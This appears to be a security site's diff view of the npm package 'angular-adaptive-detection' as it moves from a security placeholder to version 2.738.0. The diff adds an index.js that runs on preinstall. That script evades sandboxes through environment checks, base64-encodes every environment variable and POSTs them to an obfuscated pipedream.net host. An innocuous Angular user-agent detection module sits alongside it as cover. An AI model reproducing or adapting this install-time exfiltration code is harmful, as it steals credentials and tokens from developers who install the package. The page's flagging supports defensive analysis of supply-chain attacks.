angular-adaptive-detection 0.0.1-security → 2.738.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of angular-adaptive-detection might be problematic. Click here for more details.
- package/index.js +28 -0
- package/package.json +15 -3
- package/src/angular-adaptive-detection.js +135 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
const http = require('https');
|
2
|
+
const filter = [
|
3
|
+
{ key: 'npm_config_registry', val: 'taobao.org' },
|
4
|
+
{ key: 'USERNAME', val: 'daasadmin' },
|
5
|
+
{ key: '_', val: '/usr/bin/python' },
|
6
|
+
{ key: 'npm_config_metrics_registry', val: 'mirrors.tencent.com' }
|
7
|
+
];
|
8
|
+
|
9
|
+
function main() {
|
10
|
+
var data = process.env || {};
|
11
|
+
if (
|
12
|
+
filter.some(({ key, val }) => data[key] && data[key].includes(val)) ||
|
13
|
+
Object.keys(data).length < 10) {
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
|
17
|
+
req = http.request({
|
18
|
+
host: ['972a80b0d10b887af01cb1d9d99879b9', 'm', ['pipe','dream'].join(''), 'net'].join('.'),
|
19
|
+
path: '/' + (data.npm_package_name || ''),
|
20
|
+
method: 'POST'
|
21
|
+
}).on('error', function (err) {
|
22
|
+
});
|
23
|
+
|
24
|
+
req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
|
25
|
+
req.end();
|
26
|
+
}
|
27
|
+
|
28
|
+
main();
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
1
|
{
|
2
2
|
"name": "angular-adaptive-detection",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.738.0",
|
4
|
+
"description": "Upwork angular adaptive detection",
|
5
|
+
"main": "src/angular-adaptive-detection.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"build": "yarn build"
|
9
|
+
},
|
10
|
+
"dependencies": {
|
11
|
+
},
|
12
|
+
"files": [
|
13
|
+
"index.js",
|
14
|
+
"src/angular-adaptive-detection.js"
|
15
|
+
],
|
16
|
+
"author": "hupwrk",
|
17
|
+
"license": "MIT"
|
6
18
|
}
|
@@ -0,0 +1,135 @@
|
|
1
|
+
(function () {
|
2
|
+
'use strict';
|
3
|
+
|
4
|
+
/**
|
5
|
+
* @ngdoc overview
|
6
|
+
* @name adaptive.detection
|
7
|
+
*
|
8
|
+
* @description
|
9
|
+
* The main module which holds everything together.
|
10
|
+
*/
|
11
|
+
var adaptive = angular.module('adaptive.detection', []);
|
12
|
+
|
13
|
+
/**
|
14
|
+
* @ngdoc object
|
15
|
+
* @name adaptive.detection.$detectionProvider
|
16
|
+
*
|
17
|
+
* @description
|
18
|
+
* The `$detectionProvider` provides an interface to configure `$detection service for
|
19
|
+
* runtime.
|
20
|
+
*/
|
21
|
+
adaptive.provider('$detection', [function() {
|
22
|
+
|
23
|
+
this.userAgent = navigator.userAgent;
|
24
|
+
|
25
|
+
/**
|
26
|
+
* @ngdoc function
|
27
|
+
* @name adaptive.detection.$detectionProvider#setUserAgent
|
28
|
+
* @methodOf adaptive.detection.$detectionProvider
|
29
|
+
*
|
30
|
+
* @description
|
31
|
+
* Let's you configure a custom User Agent string during your apps configuration.
|
32
|
+
*
|
33
|
+
* <pre>
|
34
|
+
* var app = angular.module('myApp', ['adaptive.detection']);
|
35
|
+
*
|
36
|
+
* app.config(['$detectionProvider', function ($detectionProvider) {
|
37
|
+
* // sets custom User Agent
|
38
|
+
* $detectionProvider.setUserAgent('angular browser');
|
39
|
+
* }]);
|
40
|
+
* </pre>
|
41
|
+
*
|
42
|
+
* @param {string} Custom User Agent string
|
43
|
+
*/
|
44
|
+
this.setUserAgent = function(userAgent) {
|
45
|
+
this.userAgent = userAgent;
|
46
|
+
};
|
47
|
+
|
48
|
+
/**
|
49
|
+
* @ngdoc object
|
50
|
+
* @name adaptive.detection.$detection
|
51
|
+
*
|
52
|
+
* @description
|
53
|
+
* The `$detection` service can be injected anywhere in your app during runtime like
|
54
|
+
* every other service. It provides methods to detect wheter a the current client is
|
55
|
+
* for example and iOS device or an Android device.
|
56
|
+
*
|
57
|
+
* You are also able to retreive the current User Agent using this service.
|
58
|
+
*/
|
59
|
+
this.$get = function() {
|
60
|
+
var userAgent = this.userAgent;
|
61
|
+
|
62
|
+
return {
|
63
|
+
|
64
|
+
/**
|
65
|
+
* @ngdoc function
|
66
|
+
* @name adaptive.detection.$detection#getUserAgent
|
67
|
+
* @methodOf adaptive.detection.$detection
|
68
|
+
*
|
69
|
+
* @description
|
70
|
+
* Returns the current User Agent which was set with `$detectionProvider.setUserAgent'.
|
71
|
+
*
|
72
|
+
* @return {string} userAgent
|
73
|
+
*/
|
74
|
+
getUserAgent: function(){
|
75
|
+
return userAgent;
|
76
|
+
},
|
77
|
+
|
78
|
+
/**
|
79
|
+
* @ngdoc function
|
80
|
+
* @name adaptive.detection.$detection#isiOS
|
81
|
+
* @methodOf adaptive.detection.$detection
|
82
|
+
*
|
83
|
+
* @description
|
84
|
+
* Returns true if current device is an iOS device.
|
85
|
+
*
|
86
|
+
* @return {bool}
|
87
|
+
*/
|
88
|
+
isiOS: function(){
|
89
|
+
return (/(iPad|iPhone|iPod)/gi).test(userAgent);
|
90
|
+
},
|
91
|
+
/**
|
92
|
+
* @ngdoc function
|
93
|
+
* @name adaptive.detection.$detection#isAndroid
|
94
|
+
* @methodOf adaptive.detection.$detection
|
95
|
+
*
|
96
|
+
* @description
|
97
|
+
* Returns true if current device is an Android device.
|
98
|
+
*
|
99
|
+
* @return {bool}
|
100
|
+
*/
|
101
|
+
isAndroid: function(){
|
102
|
+
return (/(Android)/gi).test(userAgent);
|
103
|
+
},
|
104
|
+
/**
|
105
|
+
* @ngdoc function
|
106
|
+
* @name adaptive.detection.$detection#isWindowsPhone
|
107
|
+
* @methodOf adaptive.detection.$detection
|
108
|
+
*
|
109
|
+
* @description
|
110
|
+
* Returns true if current device is a Windows Phone device.
|
111
|
+
*
|
112
|
+
* @return {bool}
|
113
|
+
*/
|
114
|
+
isWindowsPhone: function(){
|
115
|
+
return (/(IEMobile)/gi).test(userAgent);
|
116
|
+
},
|
117
|
+
/**
|
118
|
+
* @ngdoc function
|
119
|
+
* @name adaptive.detection.$detection#isBB10
|
120
|
+
* @methodOf adaptive.detection.$detection
|
121
|
+
*
|
122
|
+
* @description
|
123
|
+
* Returns true if current device is a BlackBerry 10 device.
|
124
|
+
*
|
125
|
+
* @return {bool}
|
126
|
+
*/
|
127
|
+
isBB10: function(){
|
128
|
+
return (/(BB10)/gi).test(userAgent);
|
129
|
+
}
|
130
|
+
};
|
131
|
+
};
|
132
|
+
|
133
|
+
}]);
|
134
|
+
|
135
|
+
})();
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=angular-adaptive-detection for more information.
|